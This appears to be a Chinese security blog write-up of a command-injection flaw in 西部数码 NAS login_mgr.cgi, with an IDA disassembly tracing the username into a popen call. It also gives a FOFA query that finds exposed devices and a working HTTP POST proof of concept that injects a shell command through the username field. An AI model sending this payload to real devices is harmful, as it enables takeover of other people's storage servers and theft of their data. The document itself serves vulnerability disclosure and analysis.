西部数码 NAS login_mgr.cgi 命令执行漏洞


漏洞简介

西部数码NAS(网络附加存储)是西部数码提供的存储解决方案,旨在为用户提供便捷的文件存储、备份和共享服务。

西部数码NAS的login_mgr.cgi脚本存在多处命令执行漏洞。该脚本在处理SNMP管理相关请求时,可能由于未对用户输入进行充分的过滤和验证,直接将用户提供的参数传递给系统命令执行函数或拼接进命令执行语句里。攻击者可以通过构造恶意的请求参数,注入操作系统命令,从而在服务器上执行任意命令。

该漏洞可能导致攻击者完全控制NAS服务器,窃取存储在NAS上的敏感数据,篡改文件,植入恶意软件,甚至将NAS作为跳板攻击内网其他系统,对用户的数据安全和网络安全造成严重威胁。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

漏洞分析

直接用 IDA 加载 login_mgr.cgi 文件后,搜索进入漏洞点

如果cmd=wd_login 就跳转进入loc_B448

继续跟进 sub_A1E0

sub_A1E0

var_10FC= -0x10FC
var_10F8= -0x10F8
var_10F4= -0x10F4
var_10F0= -0x10F0
var_10EC= -0x10EC
var_10E8= -0x10E8
var_10E4= -0x10E4
var_10E0= -0x10E0
var_10DC= -0x10DC
var_10A8= -0x10A8
var_ED8= -0xED8
var_CE0= -0xCE0
var_AE0= -0xAE0
var_8E0= -0x8E0
var_8D8= -0x8D8
var_6E0= -0x6E0
var_6D8= -0x6D8
var_4E0= -0x4E0
var_4D8= -0x4D8
var_2E0= -0x2E0
var_100= -0x100
var_C0= -0xC0
var_80= -0x80
var_40= -0x40

PUSH    {R4-R11,LR}
SUB     SP, SP, #0x10C0
SUB     SP, SP, #0x1C
MOV     R5, #0
ADD     R3, SP, #0x1100+var_100
ADD     R0, SP, #0x1100+var_100
STR     R5, [R3,#0xA8]
STR     R5, [R3,#0xAC]
STR     R5, [R3,#0xB0]
STR     R5, [R3,#0xB4]
STR     R5, [R3,#0xB8]
STR     R5, [R3,#0xBC]
STR     R5, [R3,#0xC0]
STR     R5, [R3,#0xC4]
STR     R5, [R3,#0x88]
STR     R5, [R3,#0x8C]
STR     R5, [R3,#0x90]
STR     R5, [R3,#0x94]
STR     R5, [R3,#0x98]
STR     R5, [R3,#0x9C]
STR     R5, [R3,#0xA0]
STR     R5, [R3,#0xA4]
MOV     R1, R5          ; c
MOV     R2, #0x40 ; '@' ; n
ADD     R0, R0, #0x28 ; '(' ; s
BL      memset
ADD     R8, SP, #0x1100+var_4E0
ADD     R12, SP, #0x1100+var_100
ADD     R0, SP, #0x1100+var_2E0
STR     R5, [R12,#0xD0]
STR     R5, [R12,#0xD4]
STR     R5, [R12,#0xC8]
STR     R5, [R12,#0xCC]
MOV     R1, R5          ; c
MOV     R2, #0x200      ; n
ADD     R8, R8, #8
ADD     R0, R0, #8      ; s
ADD     R10, SP, #0x1100+var_6E0
BL      memset
ADD     R10, R10, #8
MOV     R1, R5          ; c
MOV     R2, #0x200      ; n
MOV     R0, R8          ; s
ADD     R9, SP, #0x1100+var_8E0
BL      memset
ADD     R9, R9, #8
MOV     R1, R5          ; c
MOV     R2, #0x200      ; n
MOV     R0, R10         ; s
BL      memset
MOV     R1, R5          ; c
MOV     R2, #0x200      ; n
MOV     R0, R9          ; s
BL      memset
ADD     R0, SP, #0x1100+var_AE0
MOV     R1, R5          ; c
MOV     R2, #0x200      ; n
ADD     R0, R0, #8      ; s
BL      memset
ADD     R0, SP, #0x1100+var_CE0
MOV     R1, R5          ; c
MOV     R2, #0x200      ; n
ADD     R11, SP, #0x1100+var_ED8
ADD     R0, R0, #8      ; s
ADD     R7, SP, #0x1100+var_10A8
BL      memset
SUB     R7, R7, #0x30 ; '0'
MOV     R1, R5          ; c
MOV     R2, #0x200      ; n
MOV     R0, R11         ; s
BL      memset
MOV     R2, #0x200      ; n
MOV     R1, R5          ; c
MOV     R0, R7          ; s
BL      memset
ADD     R1, SP, #0x1100+var_100
STR     R5, [R1,#0x68]
STR     R5, [R1,#0x6C]
STR     R5, [R1,#0x70]
STR     R5, [R1,#0x74]
STR     R5, [R1,#0x78]
STR     R5, [R1,#0x7C]
STR     R5, [R1,#0x80]
STR     R5, [R1,#0x84]
MOV     R0, R5          ; timer
BL      time
ADD     R4, SP, #0x1100+var_80
ADD     R1, SP, #0x1100+var_80
ADD     R4, R4, #8
ADD     R1, R1, #0x28 ; '('
MOV     R2, #0x20 ; ' '
STR     R0, [SP,#0x1100+var_10F4]
LDR     R0, =aUsername  ; "username"
BL      cgiFormString
MOV     R2, #0x20 ; ' '
MOV     R1, R4
LDR     R0, =aPwd       ; "pwd"
BL      cgiFormString
ADD     R0, SP, #0x1100+var_100
ADD     R0, R0, #0x28 ; '(' ; u_char *
MOV     R1, R4          ; char *
MOV     R2, #0x20 ; ' '
BL      sub_BD60
ADD     R0, SP, #0x1100+var_80
ADD     R0, R0, #0x28 ; '(' ; s
MOV     R1, #0x5C ; '\' ; c
BL      index
CMP     R0, #0
BEQ     loc_AB38

在 0xA388 处检查 username 是否包含 \ 字符。如果包含,则取 \ 之后的部分作为待拼接的字符串(R2 寄存器)。随后,在 0xA3A4 处,该字符串被 sprintf 函数直接格式化到 net ads search -P '(... sAMAccountName=%s ...)' 命令字符串中。

最终拼接成的完整命令字符串,在 0xA3B4 处被传递给 popen 函数执行。popen 会创建一个新的 shell 进程来执行该命令。

漏洞复现

POST /cgi-bin/login_mgr.cgi HTTP/1.1
Host: west-nas.mrxn.net
Content-Type: application/x-www-form-urlencoded

cmd=wd_login&username=\admin'$(id>/var/www/t.png)'&pwd=123456

成功执行id命令并写入文件


手机扫码阅读

红帆ioffice HbcaUserLogin.aspx SQL 注入漏洞

亿赛通-电子文档安全管理系统 DecryptApplication 多处SQL注入漏洞

评 论